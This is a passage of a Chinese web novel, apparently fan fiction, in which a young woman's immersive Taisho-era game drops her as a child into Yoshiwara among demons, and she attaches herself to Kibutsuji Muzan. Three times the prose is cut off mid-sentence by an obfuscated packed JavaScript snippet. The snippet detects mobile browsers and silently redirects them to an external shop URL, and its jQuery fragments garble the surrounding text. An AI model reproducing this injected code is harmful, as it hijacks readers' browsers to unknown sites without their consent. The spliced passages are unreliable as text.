《继国双子助力我通关大正RPG》 1. 玩家登场第一天 18岁的生日宴会闹了一整天,秋山落月第二天睡到日上三竿才从床上爬起来。 她起床时朋友们已经离开了,临走前贴心地收拾了一地狼藉,把带来的礼物整整齐齐码放在沙发上,一看就是绿间真太郎的手笔。 秋山落月第一个拆到的也是他的礼物,一只胖乎乎的毛绒小熊。 小熊屁股底下压着一张贺卡: 【晨间占卜力荐,女生收到感动得都哭了的礼物,放在玄关可以带来好运,祝你生日快乐。——绿间真太郎】 他还是那么爱晨间占卜,落月发自内心地认为绿间真太郎大学应该考神学院,毕业后去当神父,神棍也行。 反正绿间真太郎不像赤司征十郎家里有皇位要继承,也不像孤爪研磨一样决定自己创业当董事长,他生来合该是搞玄学的料。 “可惜昨天没从他口中问出大学报考的志愿。”落月遗憾地想。 她的生日在三月,恰好是高中毕业的日子,落月在帝光中学的初中同学和在音驹高校的高中同学都特意赶来为她庆祝,宴会上大家难免谈起各自毕业后的去向。 帝光中学,大名鼎鼎的篮球强校,落月那一届的篮球部被称为“奇迹的世代”,江湖上至今流传着彩虹战队的传说。 音驹高校,东京传统排球强校,落月刚入学就被排球部的啦啦队抓住当壮丁,硬是风雨无阻地被拉去帮忙应援了三年。 昨晚的生日宴会,以落月本人为界限分出楚河汉界,一半是打篮球的,一半是打排球的。 她:反正都是用手打球,四舍五入你们是一家人! 落月真的不想再面对“篮球和排球你更喜欢哪个?”的死亡问题,力气没处使可以去厨房炒个三菜一汤。 “一想到大家毕业后各奔东西了就觉得好寂寞啊。” 桃井五月抱住落月的胳膊依依不舍地说:“要是能和落月读一所大学就好了。” 桃井五月的青梅竹马青峰大辉确定要去打NBA,她本人的战术指挥能力也受到多家专业球队的认可,很可能出国读大学。 “就算五月和我考到同一所大学,四月我们也不能一起开学。”落月捏住桃井五月的鼻尖,“你忘了么,我办了一年的休学。” 落月从小就身体不好,天生不足,上学期间经常请假。 高中学业格外紧张,她硬撑着考完高考,一回家便发起高烧。 常年出差不在家的父母都被惊动,忧心忡忡地商讨了半天,决定替落月办理一年的休学。 休学手续办理得出乎意料的顺利,录取落月的大学招生办立刻给了同意的回复,甚至附赠了理事长的问候邮件。 虽然知道肯定是客套话,但报考这所大学纯粹是因为离家近的落月还是有点点感动。 鬼灭综合大学,她将拥护你! 落月身体不好归不好,倒也没坏到需要住院治疗的地步,先天不足吃多少补药也没用,只能好好休息养着身体。 “大学什么时候读都不迟。”父母安慰她,“休息一年,然后回来。” 落月:懂了,我这就离家出走去打电竞。 离家出走是不可能离家出走的,工作忙到飞起的父母隔天便赶去了机场,落月这些年一直是独居。 但打电竞可以!不如说落月休学的这一年除了打游戏她根本无事可做。 出去旅游?找个兼职?现充社交?那她休学在家的意义又是什么呢? 落月:是时候成为网瘾少女了。 “不知道最近新上了什么好玩的游戏,要不去问问研磨?”她琢磨道。 孤爪研磨打游戏强得一批,落月经常被他带飞,游戏体验极佳。 准备给孤爪研磨发消息的时候落月才发现她一直捏着毛绒小熊的肚子,小熊无辜的豆豆眼呆呆地盯着人类。 “纸条上说什么来着?”落月一拍脑门,将绿间真太郎的备注翻出来读了一遍,“把小熊放在玄关可以带来好运?” 玄学大师的建议,宁可信其有不可信其无,落月拿着小熊走向玄关。 呆呆小熊坐在玄关柜上,落月特意把它放在钥匙盒旁边,戳戳熊肚皮:“你以后就是守护钥匙的小熊骑士啦。” “叮咚~” “叮咚~” 玄关的门铃响起,落月透过猫眼看了看,两个快递员满头大汗的扛着一个长方形的大箱子站在门外。 “是秋山落月小姐吗?你的快递。” 落月最近没有网购,她开门前下意识扭头看了一眼放置在玄关的小熊。 带来好运……是巧合吧? 箱子非常沉重,两个快递员合力才勉强抬起,吭哧吭哧地搬到书房,让她签收。 签收单上印着发货人的名字,落月有点印象,是她几年见不到一面的某个远房亲戚。 落月连回忆起亲戚的长相都有些勉强,对方居然记得今天是她18岁的生日,特意送来了礼物。 快递又大又沉,落月用美工刀拆了半天才拆开减震防撞的泡沫箱,露出礼物的全貌。 一台极具科技感的全息游戏舱出现在她面前。 落月:O·O 思考暂停,她要去喝一瓶O泡果奶冷静一下。 落月哒哒哒从书房跑到厨房,连喝三杯凉白开,又哒哒哒跑回来对着全息游戏舱发呆。 全息游戏,她只在重度游戏爱好者孤爪研磨口中听到过,今年年初时刚刚立项,别说成品,连概念PV都没有。 “现在才三月啊。”落月大为震撼,游戏大厂已经卷成这样了吗? 她盘腿坐在地上,把全息游戏舱打量个遍,终于在一个不起眼的地方找到小小的Logo。 【时之政府出品】 有点耳熟,落月努力回忆,她似乎听说过远房亲戚在一个叫时之政府的地方工作。 “难道是走员工渠道买到的内测型号?”落月猜测。 她想给远房亲戚打个电话问一问,却发现没有对方的联系方式。 也不知道时之政府是什么保密部门,亲戚连家族群都没加,全方位防打扰机制启动。 全息游戏舱堂而皇之地占领了书房一半的位置,让落月不知道怎么办才好。 收货人确实写着她的名字,是送给她的礼物没有错,再怎么说也是亲戚的一番心意,总不能原路退回去。 “反正已经决定了今年的目标是成为网瘾少女,送上门来的游戏不玩白不玩。”落月一锤定音。 这可是市面上尚未发售的全息游戏,听起来就很不一般,她高低要尝尝咸淡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412131|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全息游戏舱像一个小小的睡眠舱,内置人体工学躺椅,落月按照说明书的指示躺进游戏舱内,按下闭合键。 舱门自上而下合拢,外界的最后一丝光亮湮灭,她仿佛沉入无尽的黑暗。 一双握着刀的手劈开黑暗,刀刃上燃起的火焰仿佛太阳般耀眼,火焰在黑暗中蔓延游走,渐渐拼成一行字—— 《大正鬼怪奇谭》 大道至简的美术设计一下抓住了落月的眼睛。 持刀的手向她摊开掌心。 【开始游戏】 【存档】 【读档】 【游戏开发组致玩家的一封信】 按照三短一长选最长的原则,落月选择先看信。 【尊敬的内测玩家您好,开始游戏前请您悉知以下内容: 《大正鬼怪奇谭》是一款沉浸式扮演游戏,游戏将导入玩家的现实数据,为您提供如第二人生般的真实体验。 我们承诺本游戏将包含超高自由度、超开放式大世界、超多心动角色和超真实的感官反馈,您的一举一动将决定整个世界的走向,请慎重游玩。 祝您游戏愉快。——时之政府开发组】 落月的目光停留在内测玩家的字眼上:这就说得通了,难怪市面上没有发行,原来这款游戏尚在内测中。 她说不定是《大正鬼怪奇谭》的第一个玩家。 落月重回游戏界面,选择开始游戏。 Game Start! 熊熊火焰扑面而来,周围的黑暗被燃烧殆尽,虚空中响起一声清冽的琵琶音。 “铮!” 嘈杂的人声与三味线的曲调骤然涌入耳畔,落月被人从背后推了一把,她踉跄两步才堪堪站稳。 她扬起脑袋,入眼是吉原花街灯火通明的街道,浮动的脂粉香气扑鼻。 “这也太真实了吧……”落月喃喃。 如果不是知道她在玩游戏,她会以为自己穿越了。 连背后被人推了一下的力道都那么真实,让落月不由得立刻存了个档。 虽然开局就存档听起来谨慎过头了,但玩家不说就没有人知道,在冰冷的游戏世界只有存档能给玩家带来满满的安全感。 落月捏了捏自己幼小的手掌,她低下头,地上的水洼映出她现在的模样。 矮矮的小女孩倒影和落月对视。 乌黑柔软的头发垂到肩膀,红梅色的眼睛一眨一眨。 是落月本人,但四岁半。 问她为什么知道是四岁半不是三岁半,因为落月打开了游戏日志。 【正在为玩家随机抽取身份……】 【玩家身份:吉原孤女】 【0岁,你出生后被抛弃在吉原,因为是女孩而被“父亲”捡回家。】 【1岁,你幸运地活过了最脆弱的婴儿期,学会说话和行走。】 【2岁,你渐渐长大。】 【3岁,你的美貌初现端倪。】 【4岁,“父亲”确定能把你买个好价钱。】 【4.5岁,你即将被卖到花街。】 落月倏然扭头,看向从背后推了她一下的男人。 “瞧见这丫头的模样没有!”男人眉飞色舞地朝人比划,唾沫横飞,“至少值这个数!” 2. 玩家登场第二天 开局人口买卖,把玩家当孤儿整。 落月:我玩的不是《大正鬼怪奇谭》吗,什么时候被换成了《花魁模拟器》? 这游戏也没打R18标签啊。 她把游戏日志翻来覆去看了个遍,没得到一点儿有用的提示,也没有galgame选项跳出来让玩家进行人生抉择。 细长的烟杆挑起小女孩的下颌,京极屋的鸨母眼睛一亮,挑剔的神色染上几分满意。 “如此美貌,若是好好教养,日后说不定能取代蕨姬花魁。”京极屋的鸨母喃喃自语,示意龟公拿钱袋来。 落月捕捉到关键词【蕨姬花魁】。 如果决定要玩《花魁模拟器》,这位蕨姬花魁八成就是玩家事业上的竞争对手,直到玩家打完所有支线,把所有技能刷到满值,用无敌的数值碾压过她才会打出败犬CG。 介于这是一款沉浸式扮演游戏,根据玩家操作的不同,蕨姬花魁可能是不断作死的反派角色,也可能中途被玩家感化,心中萌生出多余的感情,和玩家站在一起时散发出柑橘味的香气…… 落月检查了一遍她的存档,决定按兵不动。 玩家有的是人生重开的机会,先让她看看《花魁模拟器》是怎么个事(摩拳擦掌.jpg)。 龟公拿着的钱袋递到男人手中,他掂了掂重量,把钱袋往怀里一塞,迫不及待地往街对面的酒肆走。 一个脚步虚浮的酒鬼,落月心下判断,话说四岁半小孩对战成年酒鬼有胜算吗? 她的目光移向京极屋鸨母发鬓上尖锐的簪子。 “想要漂亮的首饰?”京极屋鸨母摇晃绘扇,“那要看你自己的本事。” 落月年纪太小了,连当花魁身边服侍的秃都要再等几年,如果不是男人急着要钱买酒,他不会这么早卖掉这个便宜女儿。 “等这孩子脸长开了,可不是现在的价钱能买到的。”京极屋鸨母很满意这笔交易,投资少收益高。 “孩子越小越听话,养出恩情来了就不会想着逃跑。今天我给她一支簪子,日后她还我一场花魁道中。” 京极屋鸨母拔下发鬓上的一支簪子递给落月,玩家立刻将它装备起来。 【鸨母的金簪:比普通金簪更具杀伤力,因为它是24K纯黄铜。】 落月拿着簪子,看了京极屋鸨母一眼又一眼。 京极屋鸨母:“没见过纯金首饰?收下吧,你和它的价值不相上下。” 玩家:侮辱谁呢? 落月还是收下了,装备数值才是硬道理,玩家不搞那些花里胡哨的。 她跟着鸨母走进京极屋,十几米不到的距离里想了一百零八种谋杀渣爹把玩家的卖身钱抢回来的计划。 玩家的钱岂是区区新手村NPC能拿的,纳命来! 鸨母本想亲自安排落月的起居,但她不巧被事务缠身,只好将落月交给京极屋的一位游女照看。 “妈妈桑把她的簪子送给你了呀。”游女姐姐说,“说明她很看好你,想你接蕨姬花魁的班呢。” 落月:很有眼光,玩家将一统吉原。 游女姐姐将落月暂时留在她的房间,让她呆在这里不要走动。 玩家表面乖乖点头,等人一走,落月立刻进入搜查模式。 她先在屋子里翻了一遍检查有无装备,在游女姐姐的首饰盒里找到几只簪子,玩家一一辨认。 含金量过高,不如黄铜杀伤力大,pass. 当前最强武器依旧是【鸨母的金簪(纯黄铜工艺)】,屋子里没什么好搜查的了,落月拉开门,向外探索。 她照例存了个档,这款游戏存档位不限数量真的很良心,不愧是超高自由度的开放式大世界。 落月:应该不是因为死亡选项过多吧……不是吧? 人不能以最大的恶意揣摩游戏开发组,要相信人间自有真情在,玩家和策划之间拥有牢不可摧的信任。 以游女姐姐的房间为起点,落月沿途开门。 有些房间的门她打不开,有些房间里有人在,屋里的人看见横冲直撞闯进来的落月,对她投以看不懂事小妹妹的包容笑容,递来小巧的和果子。 落月咬了一口,甜甜的味道在味蕾上绽放。 她:不仅有痛觉,连味觉都能模拟,全息游戏也太厉害了吧。 小女孩一边吃点心一边乱逛,耳畔忽然传来沙沙的声音。 像是布料摩擦的声音,隔着一扇门,伴随女子被捂住嘴的挣扎声。 突发事件!落月握紧手中的簪子,她一定是触发支线了。 纸门紧闭,落月藏在门后,用簪子悄悄撬开一条门缝,向内张望。 绮丽的腰带铺了满地,如蛛网般挂在天花板上,腰带中央她刚刚认识的游女姐姐拼命地挣扎,却在下一秒被腰带吞没,消失不见。 《花魁模拟器从游女失踪事件开始》 落月开始思考,或许她的真实身份其实是一位潜入吉原的名侦探,身体虽然变小但头脑依旧聪明——真相只有一个! “刷!” 破空声响起,一条腰带从门缝中弹出来。 柔韧的细长布料倏然卷住落月的腰,将她拉入房间。 门扉合拢,鸨母的金簪掉在地上,房间里一片死寂。 【您已死亡。】 回到游戏开始页面,落月“啊?”了一声。 死了?她这就死了? 只是触发一个支线任务就死了? “游戏不是这么玩的吧?”落月头脑风暴,“我不该开始现场调查,搜集证物,拿上我的律师徽章和嫌疑人法庭见吗?” 这个支线任务一看就是密室杀人,她弹丸论破老玩家了,很有经验的。 “凶手的作案工具是一条像蚯蚓一样扭来扭去的腰带。”名侦探落月陷入沉思,“它好像是活的?” 这游戏含超自然元素吗? 落月重新读了一遍标题——《大正鬼怪奇谭》。 玩家:那没事了。 原来她玩的不是本格推理版本。 落月点开她的存档,她存了两个档,一个是游戏开局,一个是游女姐姐刚离开房间的时候。 玩家选择第二个存档,读档。 落月回到游女姐姐刚出门的时候,她立刻跟了上去,以熟悉京极屋为由要求和游女姐姐一起行动。 “我是要去帮你收拾房间。”游女姐姐说,她指的房间正是玩家上周目的死亡现场。 “我一个人住吗?”落月用小女孩可怜的声音说,“我刚离开家人,我好害怕。” 游女姐姐看了看不满五岁的小女孩,心生怜惜:“要不我和妈妈桑说一下,让你和蕨姬花魁的秃一起住?” 落月立刻点头,蕨姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412132|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花魁作为京极屋的大BOSS必然是关键人物,玩家当然要主动触发剧情。 游女姐姐带落月去了另一个房间,房间里有两个比玩家稍大一些的女孩。 “姐姐,这是?”其中一个女孩问。 “妈妈桑新带回来的孩子。”游女姐姐介绍道,“她比你们还小呢,先在你们屋子里住着。” 两个女童对视一眼,给落月腾出坐下的位置。 游女姐姐被鸨母叫走了,两个女童一左一右夹着落月坐下,问她:“你也是被当作蕨姬花魁的秃来教养的吗?” “不。”玩家诚实地回答,“我是来取代她成为吉原第一花魁的。” 两个女童倒吸一口凉气,四只手一起慌慌张张地捂住落月的嘴。 “你怎么敢这样说!”她们惊恐道。 落月:嗯?有什么问题吗? 玩家生来就是要在游戏里当皇帝的,区区一统吉原,此乃必然之结局。 两个女童捧起黑发小女孩的脸,一寸寸仔细看过她的眉眼,尤其是那双像猫儿一样的红梅色瞳孔。 漂亮到要以月华和宝石来妆点才不算埋没的美貌,如果再长大一点,一定会让整个吉原为之疯狂吧。 可惜这里是京极屋。 “如果换成萩本屋和时任屋,你一定能成为花魁。”她们声音压得极低,“但京极屋有蕨姬花魁……她不会允许任何人的美貌超过她。” “京极屋这些年大出风头的游女全都不见了,有人说她们是和男人私奔了,但真的有那么多游女都和人私奔了吗?” 玩家:线索来了! 果然她上一周目打出死亡结局是因为没有收集线索就不巧撞上了凶手作案现场,这一周目落月将吸取教训,先收集证据再和BOSS对线。 落月:本以为《花魁模拟器》的玩法是用才艺数值和人气度碾压BOSS,没想到走的是破案流。 成为花魁的办法是干掉上一任花魁,好黑暗的职场关系,多么现实的一款游戏。 两个女童是服侍蕨姬花魁的秃,她们的口供一定是最有说服力的,落月准备再去找失踪游女的朋友打听一番,找足证人给蕨姬花魁定罪。 BOSS的作案动机一目了然,相信京极屋的鸨母内心也有所怀疑,不然她不可能在蕨姬花魁风头正盛的时候买下年幼的玩家并说出想让玩家取代蕨姬花魁的话语。 玩家当前最强武器纯黄铜金簪也是鸨母送的,她一定对玩家抱有很大的期待叭! 人要合理利用资源,落月找上友方NPC。 她拿出黄铜金簪,如此这般如此那般地说出了她的推理。 京极屋鸨母尖叫一声:“什么?我的金簪是黄铜做的?!” 她怒火高涨的骂骂咧咧,却在落月提到蕨姬花魁时陡然噤声。 “你才刚来第一天,谁告诉你这些的?”鸨母压低声音,她一脸讳莫如深,“别听她们瞎说,你只要离蕨姬花魁越远越好。” “你还年轻,蕨姬花魁迟早有老去的那天,等到那时我再安排你出头,现在千万不能被蕨姬花魁看见你的脸……” 京极屋鸨母的声音突然停住了,她瞳孔震荡地盯着落月背后,浑身不受控制地发抖。 曼妙旖旎的影子遮住落月,华丽傲慢的女声在房间中响起。 “继续说啊,不能被我看见什么?” 3. 玩家登场第三天 【地图:京极屋】 【BOSS蕨姬花魁出现了!】 落月脑中自动配上提示音,她手疾眼快地存了个档,在鸨母惊恐的目光下转过头。 鸨母提示说不能被蕨姬花魁看见脸,BOSS的攻击机制莫非是贴脸攻击?玩家将用无敌的存档读档试出答案。 入眼是风华绝代的美人。 奢华的发饰,高傲的眉眼,和服花色斑斓艳丽,布料上绣着大朵盛开的繁花,被一条长长的腰带束起。 落月现在的身高只有腰带那么高,所以她一眼看出导致玩家打出死亡CG的凶手——是你,腰带蚯蚓! 玩家的目光黏在腰带上,蕨姬花魁居高临下地盯着她的脸。 像猫一样的红梅色眼睛,挺特别的,有点像无惨大人。 “妈妈桑的眼光真不错。” 蕨姬花魁伸出手,她以玉脂和花露精细保养的手指滑过落月的脸,在皮肤上激起细密的凉意,“多漂亮的孩子啊。” 值得好好地养几年,在最美丽的时候被她吞咽下肚。 “可惜。”蕨姬花魁看不出一点儿惋惜地说,“妈妈桑,我都听见了。” “我总有一天会老去?培养她来取代我?”蕨姬花魁冷笑,她瞳孔中隐约浮现出字迹,抚摸落月脸颊的手指寒冷刺骨。 落月仔细辨认,蕨姬花魁瞳孔中的字是:上弦,六。 上弦之六是什么等级的BOSS? 玩家用鸨母的金簪单挑打得过吗? “我没有衰老的那一天。”蕨姬花魁——上弦之六的鬼,堕姬,用看死人的目光看向鸨母,“鬼永远美丽,永远强大!” “吉原是我的狩猎场。”飞舞的腰带缠住鸨母的四肢,在骨头碎裂的声音中将人类的身体扭成麻花。 堕姬蛮横地宣告:“我才是吉原最美的花魁!” 鸨母的尸体像垃圾一样被丢到楼下,砸在地面上发出沉闷的声音。 房间的窗户不朝向吉原主街,堕姬有的是时间处理鸨母的尸体,也许把鸨母吃掉是更隐蔽的做法,但她不喜欢吃衰老的女人。 “足够美丽,才有被吃的价值。” 堕姬的手始终没有离开落月的脸,脂粉的香气愈发浓郁,腰带缠绕住玩家的腰肢,美艳的花魁红唇上下张合。 “感到荣幸吧,呐?” 【您已死亡。】 再次回到游戏开始页面,落月陷入沉思。 她把《大正鬼怪奇谭》几个字又念了一遍,落月发现自己好像搞错了什么。 这游戏好像不能当成花魁模拟器来玩,竞争对手她根本不是人啊。 “难道我应该换个赛道,去萩本屋和时任屋当花魁?”玩家苦苦思索。 但她可是玩家,玩家岂能满足于小小花魁之位,她必然要一统吉原,和BOSS的遭遇战无可避免。 装备【鸨母的金簪】能打得过谁? 落月:“打得赢渣爹吧。” 提起渣爹她想起来了,玩家的钱还没拿回来! 玩家的死亡固然令人心寒,可恨的新手村NPC逍遥法外更让人忍无可忍,岂有此理! 目前落月有三个存档:游戏开局、初入京极屋、堕姬回头杀。 选第二个读档好像没什么意义,她最多避开堕姬猥琐发育,但四岁半小女孩在花街练级多久才能打上弦之六的鬼?落月怀疑游戏会判她消极怠工。 选第三个读档呢?试试不回头看堕姬会怎样。 落月试了,落月死回来了。 没什么区别,只是从摸她的脸变成了捏着她的下颌逼她抬头而已,堕姬照例夸了一番玩家的美貌,发出“真可口,我开动了”的声音。 “堕姬其实不是玩家现阶段能对付的BOSS吧?”落月摸摸下巴,“放眼整个京极屋竟然找不出一件比鸨母的金簪杀伤力更大的武器,这对吗?” 她的游戏思路肯定出了问题。 落月的目光挪回她的第一个存档上。 出于谨慎,她开局一落地就存了个档,那时渣爹还没把玩家卖掉。 玩家凭什么被NPC乖乖卖掉? 天下岂有庶民发配皇帝的道理! 落月选择游戏开局最初的存档,读档。 吉原花街灯火通明,京极屋的鸨母抬起细长的烟管,想要挑起落月的下颌。 小女孩扭身就跑。 正在唾沫横飞和人讲价的渣爹一愣,瞬间恼羞成怒地大喊:“给老子站住!” 落月充耳不闻,使劲往人群中钻。 夜晚的吉原鱼龙混杂,她专挑看起来就衣着富贵的人擦肩撞过,后面的渣爹不得不一边追一边点头哈腰地道歉,脸色愈发狰狞。 玩家八成是这个酒鬼仅剩的资产,他穷追不舍,落月渐渐跑得有些吃力了,她开始喘不过气,偏头咳嗽。 这全息游戏也太全息了吧,说导入玩家真实数据就是最真实的数据,除了长相之外连她先天不足的体质也导入进来了吗? “游戏不是这么玩的!”落月边跑边抗议,“我要是瘸了一条腿,游戏开局会给我配轮椅吗?” 开发组充耳不闻,因为这是一款单机游戏,买断制,无客服。 跑动时冷风吹进喉咙里,落月咳嗽不止,脸色苍白得像雪一样。 “她不会有病吧?”被京极屋的鸨母派来一起追人的龟公不满地说,“长得再漂亮是个病秧子又有什么用!” 人群中一道阴冷的目光投向龟公。 止不住咳嗽、无法继续逃跑的落月被龟公抓住衣领,身体腾空的瞬间,她看见阴冷目光的主人。 一位姿色绝丽的美妇人隐没在人群中,她穿着黑色花卉和服,花边描金,微卷的头发盘成寡妇髻,细长的红梅色瞳孔眯起,一脸厌烦地看着这场闹剧。 厌烦中夹杂着杀意,像是有谁触碰了她的逆鳞。 好美的人,落月有些惊讶,比堕姬还美。 而且和她长得好像! 黑发,红梅色的像猫儿一样的瞳孔,白皙的肤色,简直像亲生的母女一般。 落月翻了翻游戏日志,日志里写玩家一出生就被抛弃在吉原。 玩家:等等,这个人也在吉原,莫非她是玩家素未蒙面的亲妈? 美妇人盘着寡妇髻,俨然死了老公,岂不是说明上天注定要让她们母女俩相依为命? “还敢跑!又落到老子手里了吧!”渣爹追了上来,要把玩家从龟公手里夺走。 小女孩瞥了他一眼,选择读档。 时间倒流回渣爹和鸨母讲价的时刻,落月拔腿就跑。 这次她不再漫无目的地瞎跑,她目标明确地跑向那道美艳的身影。 受限于先天不足的身体,落月跑不了多久,她往哪儿跑都会被渣爹和龟公抓住,必须另想办法。 “咳咳。”小女孩跑动间偏过头捂住嘴,细碎的咳嗽声呛住她细小的气管,脖颈苍白得能看见青色的脉络。 落月撞上冰冷华贵的黑色花卉和服,小女孩仰起脸,她苍白咳嗽的病容毫不作伪,红梅色的眼眸蒙上生理性的水雾。 “母亲大人!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412133|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玩家一把抱住美艳寡妇,大喊:“我终于找到你了,母亲大人!” 落月身后,渣爹和龟公追了上来。 “她不是你的女儿吗?”龟公的目光在玩家、美艳寡妇和渣爹身上来回移动。 对上两双红梅色的眼眸,龟公一拍大腿:这绝对是亲生的母女啊。 再看渣爹,龟公诡异地陷入沉默。 咱就是说,这一看就不是亲生的啊,你有人家那基因吗? 龟公连捏着鼻子哄一下男人都做不到:你和人家母女都不在一个图层。 渣爹吃了一惊,他当然知道玩家是捡来的,但玩家可是他唯一的资产,就算亲妈来了也没用! 落月突然逃跑打了男人一个措手不及,她边逃跑边咳嗽的模样被龟公看了个正着,之后肯定卖不出好价钱了。 渣爹越想越气:“想要回你女儿?给钱!我把这病秧子养大容易么,成天到晚一副要死的晦气样,出生下来就是早死鬼的面相,肯定是遗传。” 男人不怀好意地打量美艳女人的寡妇髻:“你老公也是个早死鬼吧,是不是那种天天躺在床上苟活的药罐子?要我说这种人早点死了也好,早死早投胎。” 玩家很久没有见过这么嘴臭的NPC了,一周目时在脑内计划过的谋杀可恨新手村NPC的一百零八种方案蓄势待发。 落月头顶落下一只冰凉的手。 泛着寒意的手指缓慢地抚摸她乌黑的长发,长指甲轻轻刮过她因咳嗽而凸起的脖颈血管。 鬼舞辻无惨眯起眼看向手心向上摊开的男人,凉薄的嘴角勾起:“好啊,我们换个地方谈价钱。” 在大街上谈钱确实不方便,渣爹没有多想地走向吉原阴暗的小巷,他在吉原土生土长,走暗巷像回家一样。 落月没想到她认亲真的成功了。 她其实只是碰瓷来着。 想也知道这位美艳寡妇不可能是玩家的亲妈,她看起来非富即贵,单站在那里便有一种高人一等的气场。 像这样的女人是不会遗弃自己的孩子的,如果她真不想要小孩,直接掐在胎中的概率更大。 虽然她们确实长得挺像,但女人眼里没有一丝看待女儿的温情,只有被激怒的寒意。 有谁触碰到了她的逆鳞,而且一直碰一直碰,只差没在她的痛点上跳踢踏舞。 落月回想了一下上周目龟公和这周目渣爹的发言,引起美艳寡妇情绪波动的关键词似乎是:病秧子、早死鬼、药罐子? 玩家瞅了瞅女人的寡妇髻,恍然大悟:她一定很爱她老公吧! 老公因病去世,徒留未亡人在世间,美艳寡妇天天以泪洗面,却遭渣男贴脸挑衅。 落月感概万千:新手村NPC真是个人渣啊! 玩家一边跟着碰瓷来的新妈走向暗巷,一边悄悄拾起路边的砖头。 鬼舞辻无惨低头看见他路边捡来的便宜女儿,幼小的双手抓起有她脑袋那么大的砖头,竭尽全力试图抡起来给渣男一个大逼兜。 落月:这才是真正好使的武器! 现在是玩家的战斗轮,燃起来了! 碎颅狂魔的称号,玩家就不客气地收下了。 “小蠢货。”鬼舞辻无惨心情好了两分,他挑剔地扫了眼小女孩被砖头的重量压得颤抖的手腕,“人不是你这样杀的。” 尖利的长指甲穿透男人的胸腔,碎裂的心脏洒了一地,溅起的血染红暗巷爬满青苔的墙壁。 美艳寡妇掏出手帕擦了擦指甲上的鲜血,恶毒地说:“来,再叫一声母亲大人让我听听看。” 4. 玩家登场第四天 哇去,夺命女鬼! 这款游戏真是时刻紧扣主题,吉原实乃藏龙卧虎之地,玩家到底打得过谁啊? 砖头好重,落月手好酸,好不容易抡起来的武器怎么可以没见血就放下,岂不是显得被NPC抢人头的玩家很呆吗? 玩家可是要成为碎颅狂魔的存在! “嗯?”鬼舞辻无惨看向高高举起砖头执意要给地上死得不能再死的男人一个大逼兜的小女孩,微微挑眉。 还挺睚眦必报的,确实有点像他。 “母亲大人。”落月揉了揉脱力的手腕,如美艳寡妇所愿又喊了一声妈,“母亲大人好厉害。” 这招徒手挖心她只在《Hunter×Hunter》里见识过,揍敌客家祖传绝技,玩家新认下的恶毒继母说不定正是一位杀手世家出身的大小姐! 大小姐因反对包办婚姻毅然决然离家出走与恋人私奔,婚后丈夫却不幸离世,她只好把头发梳成寡妇模样,独自来吉原买醉。 落月恍然大悟。 这才是新手村指引NPC该有的配置啊!渣爹只是游戏的障眼法罢了,幸好玩家慧眼识珠,在茫茫人海中找到命中注定的那个她。 不愧是开放式大世界高自由度游戏,真的好自由,连妈都要玩家主动认。 黑发红瞳的小女孩乖乖巧巧地仰头喊妈,眼中的孺慕毫不作伪。 鬼舞辻无惨喜欢被赞美,讨厌不服从与不恭敬。 他说让便宜女儿再叫一句母亲大人,无论他的语气多么恶毒多么不怀好意,小女孩都乖乖地叫了,用了非常正规的敬语。 面对惨死的、至少养了她四年半的养父尸体,没有一丝惊慌和恐惧,只有“母亲大人好厉害”的夸奖。 被龟公追着跑的时候也是目的明确地来找他,只认准他,一直跟着他。 “眼光不错。”鬼舞辻无惨心情愉快地夸赞道。 玩家仿佛听见了指引NPC好感度上升的声音。 落月:不愧是新手村NPC,果然是新人友好型。 游戏开发组还是很懂得循序渐进的道理的,新手村NPC就该多安排一下像玩家妈妈老婆妻子一般的角色,帮助玩家融入世界观。 堕姬的长相固然权威让人直呼hi老婆,但上弦之六等级的BOSS根本不是白板玩家能打的啦,等什么时候玩家能打赢新手村NPC再去挑战BOSS吧! 鬼舞辻无惨仿佛看见了便宜女儿身后燃起的熊熊火焰。 鬼王:不是,她在燃什么? 有妈的孩子是块宝,天色已晚,落月的口袋比脸还干净,她默默等待新手村NPC带她去玩家一进游戏就该分配到的大house。 尊贵的玩家怎么可能睡在荒郊野岭,绝无可能。 “也罢,就你吧。”鬼舞辻无惨看了眼开启自动跟随模式的小女孩,放弃了去京极屋找堕姬的打算。 “我确实缺个女儿。”美艳寡妇挑起落月那张怎么看怎么像他亲生的脸,“本来想在吉原找个会看人眼色的秃,你倒是比她们合适得多。” 年纪更小,长得更像,完美吻合离异带一娃寡妇的需求。 求娶寡妇的富商也不会介意家里多出一个没有血缘的女儿,既不会和未来的继承人争夺家产,嫁出去联姻还能傍上更高的大户,左右不过是多给一点嫁妆罢了。 鬼舞辻无惨想得就更简单了,他都嫁过去了,富商的财产就是他的财产,等他把富商的产业链搞到手,便宜女儿随便打发掉就行。 